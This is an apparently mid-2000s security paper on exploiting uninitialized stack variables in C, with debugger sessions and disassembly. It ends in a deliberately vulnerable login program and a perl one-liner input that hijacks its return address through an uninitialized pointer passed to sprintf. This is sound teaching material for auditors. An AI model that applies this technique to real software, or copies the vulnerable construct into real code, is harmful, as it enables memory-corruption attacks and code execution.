Tales of the Unknown

Part One

www.FelineMenace.org

Table of Contents

Exploiting Uninitialized Data

Introduction

If you have even read just a handful of man pages before, then you will know all too well that a lot of functions can have “undefined behavior”. This article attempts to define what exactly “undefined behavior” refers to when dealing with uninitialized variables, and will give examples of how this could be abused by attackers to control the execution flow of an application.

All the examples have been tested and found working on Ubuntu [1] Linux. It is hoped that the reader will extend on the information provided, and look at similar conditions in glibc functions, kernel code, and threaded applications [2].

Requisites

All of the example code is written in the C programming language and x86 assembler. As a reader you should be comfortable in these languages, as well as comfortable in navigating around a disassembler and man pages.

The Story

In early 2005 I was reading through an open source mail daemon. This daemon made extensive use of pointers and linked lists, and had a number of bugs that made it possible to transfer execution flow into a function that would dereference an “uninitialized” pointer.

When I was studying the vulnerability, I noticed certain anomalies that led me to believe that the value the uninitialized pointer was dereferencing was not “undefined” at all, but instead data that I had provided in other I/O functions.

I will abstract this concept of dereferencing uninitialized pointers from the mail daemon, and show how abusing certain conditions lead to creating a reliable exploit.

A look at Initialization

To begin the discussion of “unknown” data, I will present the two primary groups of initialization:

Compile time

During the development of an application, a programmer will typically define certain global variables to hold a predefined value. These global variables - if assigned a value are known as “*initialized*” data, and are typically stored within the .data segment of an executable. If the variable is not assigned a value, it is considered “*uninitialized*” and put in the .bss segment of an executable.

- example-1.c -

```
        #include <stdio.h>

        int gvar = 12;

        int main(void)
        {
            printf(“%d\n”, gvar);
            return gvar;
        }
```

In the above example, the variable 'gvar' is declared at file scope and is initialized with the value 12. When this program is compiled the variable gvar will be added to the .data segment along with its value 12.

- example-1-dbg -

```
laptop:~/paper/examples$ gdb -q ./example_1
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) info variables gvar
All variables matching regular expression "gvar":

Non-debugging symbols:
0x080495b4  gvar
(gdb) x/x 0x080495b4
0x80495b4 <gvar>:       0x0000000c
(gdb) info symbol 0x080495b4
gvar in section .data
```

This type of variable is already initialized at compile time, and there is usually very little chance of controlling its data unless you find an overflow in another variable in the .data segment (or you control something that can modify gvar).

For the sake of simplicity, exploiting compile-time initialized data will not be covered.

You could also compile the above program without initializing the gvar variable to 12. When gvar is not assigned the value 12, it is defined as *uninitialized* and is put into the .bss segment. The bss segment holds uninitialized data, whose space is allocated during runtime. During allocation, the kernel loader *initializes* all its data to 0. This means any dereferencing of .bss data will result in a NULL pointer dereference [3].

Run time

Another common method of initializing variables is to do so at run time. This type of initialization is done for variables declared at function scope.

- example-2.c -

```
#include <stdio.h>

int local_init(void *arg)
{
    int *val1 = (int *)arg;
    return 0;
}

int main(void)
{
   local_init(NULL);
   return 0;
}
```

In the above example, the local variable 'val1' is declared in the local_init function. This variable is not actually allocated space within the object file, instead it is compiled into machine instructions that when executed set aside the required space on the stack. This can be viewed in the following assembly:

- example-2-dbg -

```
int local_init(void *arg)
{
 8048348:       55                      push   %ebp
 8048349:       89 e5                   mov    %esp,%ebp
 804834b:       83 ec 10                sub    $0x10,%esp
        int *val1 = (int *)arg;
 804834e:       8b 45 08                mov    0x8(%ebp),%eax
 8048351:       89 45 fc                mov    %eax,0xfffffffc(%ebp)
        return 0;
 8048354:       b8 00 00 00 00          mov    $0x0,%eax
}
 8048359:       c9                      leave
 804835a:       c3                      ret
```

Firstly, 16 bytes ($0x10) is allocated for the functions stack space, followed by moving the void *arg into the beginning of the newly allocated space.

This concept is what we will focus on over the coming sections – controlling the stack space and data to influence the local variables that are allocated on it during runtime.

A look at Dereferencing

Thus far the topic of initialization has been covered for both runtime, and compile time initialization. Knowing how data is assigned to variables is key to understanding how dereferencing works.

Dereferencing is a term used extensively by programmers that really just means referring to the data pointed to by a pointer. A good analogy of this would be a person in a room. There are a number of other objects in the room – a computer, a soccer ball, and a bed. When this person points to an object, they are referencing it. When they take hold of the object, they are dereferencing it.

In this analogy, the person is a pointer. Multiple people could point to the same object, just as multiple variables can refer to the same memory address. Taking hold of the object is the same as dereferencing the contents of memory a pointer points to.

- example-3.c -

```
include <stdio.h>

int local_init(void *arg)
{
    int *val1 = (int *)arg;
    int val2 = *val1;

    printf("0x%08x\n", val2);
    return 0;
}

int main(void)
{
   int val = 0x01020304;
   local_init(&val);
   return 0;
}
```

In the above example, the local variable val1 is assigned the address pointed to by arg. The assignment of val1 to val2 actually dereferences the value pointed to by val1 and assigns it to val2.

To see how this operates at a lower level, an analysis will need to be done on the respective assembly code.

- example-3-dbg -

```
080483a8 <local_init>:
#include <stdio.h>

int local_init(void *arg)
{
 80483a8:       55                      push   %ebp
 80483a9:       89 e5                   mov    %esp,%ebp
 80483ab:       83 ec 18                sub    $0x18,%esp
        int *val1 = (int *)arg;
 80483ae:       8b 45 08                mov    0x8(%ebp),%eax
 80483b1:       89 45 f8                mov    %eax,0xfffffff8(%ebp)
        int val2 = *val1;
 80483b4:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
 80483b7:       8b 00                   mov    (%eax),%eax
 80483b9:       89 45 fc                mov    %eax,0xfffffffc(%ebp)

        fprintf(stdout, "0x%08x\n", val2);
 80483bc:       a1 28 96 04 08          mov    0x8049628,%eax
 80483c1:       83 ec 04                sub    $0x4,%esp
 80483c4:       ff 75 fc                pushl  0xfffffffc(%ebp)
 80483c7:       68 1c 85 04 08          push   $0x804851c
 80483cc:       50                      push   %eax
 80483cd:       e8 f6 fe ff ff          call   80482c8 <fprintf@plt>
 80483d2:       83 c4 10                add    $0x10,%esp
        return 0;
 80483d5:       b8 00 00 00 00          mov    $0x0,%eax
}
 80483da:       c9                      leave
 80483db:       c3                      ret

080483dc <main>:

int main(void)
{
 80483dc:       55                      push   %ebp
 80483dd:       89 e5                   mov    %esp,%ebp
 80483df:       83 ec 18                sub    $0x18,%esp
 80483e2:       83 e4 f0                and    $0xfffffff0,%esp
 80483e5:       b8 00 00 00 00          mov    $0x0,%eax
 80483ea:       83 c0 0f                add    $0xf,%eax
 80483ed:       83 c0 0f                add    $0xf,%eax
 80483f0:       c1 e8 04                shr    $0x4,%eax
 80483f3:       c1 e0 04                shl    $0x4,%eax
 80483f6:       29 c4                   sub    %eax,%esp
        int val = 0x01020304;
 80483f8:       c7 45 fc 04 03 02 01    movl   $0x1020304,0xfffffffc(%ebp)
        local_init(&val);
 80483ff:       83 ec 0c                sub    $0xc,%esp
 8048402:       8d 45 fc                lea    0xfffffffc(%ebp),%eax
 8048405:       50                      push   %eax
 8048406:       e8 9d ff ff ff          call   80483a8 <local_init>
 804840b:       83 c4 10                add    $0x10,%esp
        return 0;
 804840e:       b8 00 00 00 00          mov    $0x0,%eax
}
 8048413:       c9                      leave
 8048414:       c3                      ret
```

The most important things to note from the above output is as follows.

- Line 46 initializes the eax register (int val) in main to be the value 0x01020304.
- Lines 50-51 push this value onto the stack, and then calls the local_init function.
- Line 8 (in local_init now) sets aside $0x18 bytes for local variables.
- Lines 10 and 11 initialize val1 to equal arg.
- Lines 13 and 14 dereferences val1 and sets val2 to equal the dereferenced value (in this case 0x01020304).

The act of dereferencing in the above assembly occurs on line 14. Before this however, the eax register is initialized with the address in which it is to dereference on line 13.

Perhaps the most interesting operation for the function is using an address that is supplied upon the stack to dereference the val1 variable. It is in this concept that the reader should study and understand how dereferencing works, before continuing on with the rest of this article.

A look at exploiting uninitialized pointers

Perhaps at this point in time, you are asking how all this information could help when auditing an application and how it could assist in exploit development.

Before I talk about exploiting, just keep in mind all your conventional vulnerable constructs, ie.:

- Buffer under runs and overflows that modify pointers.
- Indexing errors (especially for off by ones in linked lists).
- etc.

When thinking about initialization and dereferencing, one begins to think about the critical sections of code that modify the variables, rather then the state of the data itself. The assumption is that data supplied to a critical section is sanitized. Sometimes this is not the case (as seen in the mail daemon).

The astute reader would have picked up on a very important piece of information when I talked about runtime initialization. During runtime initialization of local variables, the data is not actually stored within the binary itself, rather machine instructions are executed to setup the state of these variables. The local variables store their data on the stack, and are expected to clean up the stack on return of the function.

Try and think about something interesting in the below epilogue:

```
0x080483d2 <local_init+42>:     add    $0x10,%esp
0x080483d5 <local_init+45>:     mov    $0x0,%eax
0x080483da <local_init+50>:     leave

leave - Releases the stack frame set up by an earlier ENTER
instruction. The LEAVE instruction copies the frame pointer (in the
EBP register) into the stack pointer register (ESP), which releases
the stack space allocated to the stack frame. The old frame pointer
(the frame pointer for the calling procedure that was saved by the
ENTER instruction) is then popped from the stack into the EBP
register, restoring the calling procedure's stack frame.
```

Besides the point that it simply re-adjusts the stack and returns execution flow to the calling procedure, it is also interesting because it does not clean up data from the stack. This means that if multiple functions are executed, the same stack space will be used among each.

The Theory

As you are no doubt curious by now, I will put all of the pieces of the puzzle together.

1. Local variables are allocated space at runtime on the stack.
2. When a function returns, the stack is re-adjusted without deleting the content of the local variables.
3. Dereferencing local variables involves taking the address to dereference from the stack, and operating on the pointed to content.
4. If a variable is uninitialized, it still points onto the same stack value that was used in previous functions.

If one were to control the data that is placed on the stack, then one could control the memory address that is dereferenced when doing operations on an uninitialized pointer. And this is exactly what an attacker is able to do.

Consider the following example:

- example-4.S -

```
 1 .globl _start
 2 .section .text
 3
 4
 5 _start:
 6         pushl %esp
 7         movl %esp, %ebp
 8
 9         call r1
10         call r2
11
12         movl $0x1, %eax
13         int $0x80
14
15
16 r1:
17         pushl %ebp
18         movl %esp, %ebp
19         subl $0x4, %esp
20
21         movl $0x41414141, (%esp)
22
23         addl $0x4, %esp
24         movl %ebp, %esp
25         popl %ebp
26         ret
27
28 r2:
29         pushl %ebp
30         movl %esp, %ebp
31         subl $0x4, %esp
32
33         movl (%esp), %eax
34         int3
35
36         addl $0x4, %esp
37         popl %ebp
38         ret
```

- The _start routine begins by setting up its base pointer etc (Lines 6 and 7).
- It then calls r1, which allocates space for an integer (or just 4 bytes) on the stack – as seen on line 19.

- It then initializes this integer to the value 0x41414141 (line 21).
- Lastly it re-adjusts the stack and returns control back to _start.

The routine r1 did not wipe the value 0x41414141 from the stack, instead it just re-adjusted the stack pointer. This means that when transfer is controlled to r2, and it's allocated space on the stack (line 31), it will already be initialized with whatever was in this space prior. In this case, it will be the value 0x41414141.

This can be illustrated when the above code is run in a debugger:

- example-4-dbg -

```
laptop:~/paper/examples$ gdb -q ./example_5
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass r2
Dump of assembler code for function r2:
0x0804809c <r2+0>:      push   %ebp
0x0804809d <r2+1>:      mov    %esp,%ebp
0x0804809f <r2+3>:      sub    $0x4,%esp
0x080480a2 <r2+6>:      mov    (%esp),%eax
0x080480a5 <r2+9>:      int3
0x080480a6 <r2+10>:     add    $0x4,%esp
0x080480a9 <r2+13>:     pop    %ebp
0x080480aa <r2+14>:     ret
End of assembler dump.
(gdb) break *r2+3
Breakpoint 1 at 0x804809f: file ./example_5.S, line 31.
(gdb) r
Starting program: /home/mercy/paper/examples/example_5

Breakpoint 1, r2 () at ./example_5.S:31
31              subl $0x4, %esp
Current language:  auto; currently asm
(gdb) i r eax
eax            0x0      0
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
r2 () at ./example_5.S:36
36              addl $0x4, %esp
(gdb) i r eax
eax            0x41414141       1094795585
```

The logic behind exploiting this type of condition requires you to control the data that is stored on the stack before the vulnerable function is called. It also requires the vulnerable function to perform some sort of critical operation on a variable that has no yet been initialized.

This could be an example:

```
void r2(void)
{
    int trusted_variable;
    if(trusted_variable == 0x41414141) give_root();
    return;
}
```

If an attacker controls the stack space allocated for trusted_variable, then he/she can indeed make the condition true and have root.

The Mail Application

Now will probably be a good time to give some practical examples of exploiting this type of vulnerable construct. For this demonstration, I will use the mail application described in the beginning of the article.

If I were to cut the mail application down into its simplest elements, it would operate similar to the following:

1. Establish a connection.
2. Ask for a command.
3. If it requires the user to be authenticated - go to step 4, otherwise run command.
4. Gather authentication credentials, run command.

The Vulnerability

The vulnerability itself existed in the authentication function, where if a user were to supply an invalid username and password combination then the authentication credentials are logged, and the connection refused. The logging function made use of an uninitialized pointer that pointed into the previously supplied username/password stack. From here it was possible to abuse a trusted sprintf call and control further execution flow.

I have abstracted the problems that made this vulnerability exploitable, and crafted a similar vulnerable program as seen below:

- example-5.c -

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_USER 1024
#define MAX_PASS MAX_USER

#define ERR_CRITIC 0x01
#define ERR_AUTH   0x02

int do_auth(void)
{
        char username[MAX_USER], password[MAX_PASS];

        fprintf(stdout, "Please enter your username: ");
        fgets(username, MAX_USER, stdin);

        fflush(stdin);

        fprintf(stdout, "Please enter your password: ");
        fgets(password, MAX_PASS, stdin);

#ifdef DEBUG
        fprintf(stderr, "Username is at: 0x%08x (%d)\n", &username, strlen(username));
        fprintf(stderr, "Password is at: 0x%08x (%d)\n", &password, strlen(password));

#endif
        if(!strcmp(username, "user") && !strcmp(password, "washere"))
        {
                return 0;
        }

        return -1;
}

int log_error(int farray, char *msg)
{
        char *err, *mesg;
        char buffer[24];

#ifdef DEBUG
        fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg);
        fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg);
#endif
        memset(buffer, 0x00, sizeof(buffer));
        sprintf(buffer, "Error: %s", mesg);

        fprintf(stdout, "%s\n", buffer);
        return 0;
}

int main(void)
{
        switch(do_auth())
        {
                case -1:
                        log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");
                        break;
                default:
                        break;
        }
        return 0;
}
```

The Exploiter

From an attacker's perspective, exploitation of this program can be trivial. The attacker will need to supply the address of the password buffer in the username field, and then an exploit payload in the password buffer.

The logic is that 'mesg' is a trusted pointer. The programmer had intended to initialize 'mesg' to the 'msg' pointer passed to the function, but hadn't. When the pointer 'mesg' gets allocated on the stack, it is allocated over the top of the username buffer, and its content is the address that gets dereferenced in the sprintf call.

For this reason an attacker would supply an address to a buffer that they still control. Using this buffer, they are then able to abuse the sprintf call on line 46 like they would in any other overflow.

- example-5-dbg -

```
laptop:~/paper/examples$ gcc ./example_6.c -o example_6 -ggdb3 -DDEBUG
laptop:~/paper/examples$ echo `perl -e'print "\xe0\xf0\xff\xbf" x 255 . "\n" . "B" x 1024'`
| ./example_6
Username is at: 0xbffff4e0 (1023)
Password is at: 0xbffff0e0 (1023)
Mesg is at: 0xbffff8d0
Mesg is pointing at: 0xbffff0e0
Please enter your username: Please enter your password: Error:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Segmentation fault (core dumped)
laptop:~/paper/examples$ gdb -q -c ./core
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(no debugging symbols found)
Core was generated by `./example_6'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb)
```

In the above example, the attacker has supplied the address of 'password' into the 'username' buffer. The attacker has also filled the 'password' buffer with the character 'B' for debugging purposes.

When the sprintf call dereferences the 'mesg' pointer, it actually dereferences the address that was supplied in the 'username' buffer, in this case the address of 'password'. Then, the sprintf call will copy all of the data supplied in 'password' until a NULL byte is reached. In this situation however, the 'password' buffer is larger then the 'buffer' buffer and overflows the saved instruction pointer. It is trivial for the attacker to modify this exploit to execute their own arbitrary code.

Conclusion

Over the length of this article the author has covered the logic in exploiting and controlling an uninitialized variable. There are certain conditions that must be met in order to exploit an uninitialized variable. These conditions refer to controlling the data on the stack prior to the vulnerable function being called.

Though this paper focused specifically on exploiting an uninitialized pointer, the problem and logic of abusing uninitialized data can also be applied to any critical section that relies on data invariants. This includes such things as linked lists, queues, networking protocols, and so on.

The primary goal of this article was to explore what an "undefined" state actually means, and it is hoped that the reader can find references to "undefined" topics in things such as glibc functions, kernel code, and threaded applications, and attempt to analyze and exploit these conditions.

All example code has been packaged with this paper, along with hints and tips for other things the reader can explore if feeling wild.

Thanks,
mercy

http://www.felinemenace.org

References

The following are useful references that have contributed in some way to the writing of this paper.

[1] Ubuntu Linux – http://www.ubuntulinux.com
[2] mercy - Tales of the Unknown: threaded and shreaded.
[3] Ilja van Sprundel (UNIX Kernel Auditing) – http://www.pacsec.jp
[4] The FelineMenace team – http://www.felinemenace.org
[5] The PullThePlug community – http://www.pulltheplug.org
[6] The NoLogin community – http://www.nologin.org
[7] Exploitation of uninitialized pointers - http://home.bn-paf.de/qobaiashi/uninp.html

Greetz

What kind of paper doesn't have a greets section :)

Greets to my friends at felinemenace – andrewg/nemo/nevar/ash/nd/circut/n00ne/jaguar
Others: the dudes at netric are krad – ilja/gorny/powerpork/genetics/eSDee/*, and others (ace, summerschool of Applied IT security '05 guys, PullThePlug.org community, nologin/uninformed.org community, amnesia, nocte, Ruxcon security conference, 2599 dudes, and lastly qobaiashi for doing prior work in this field).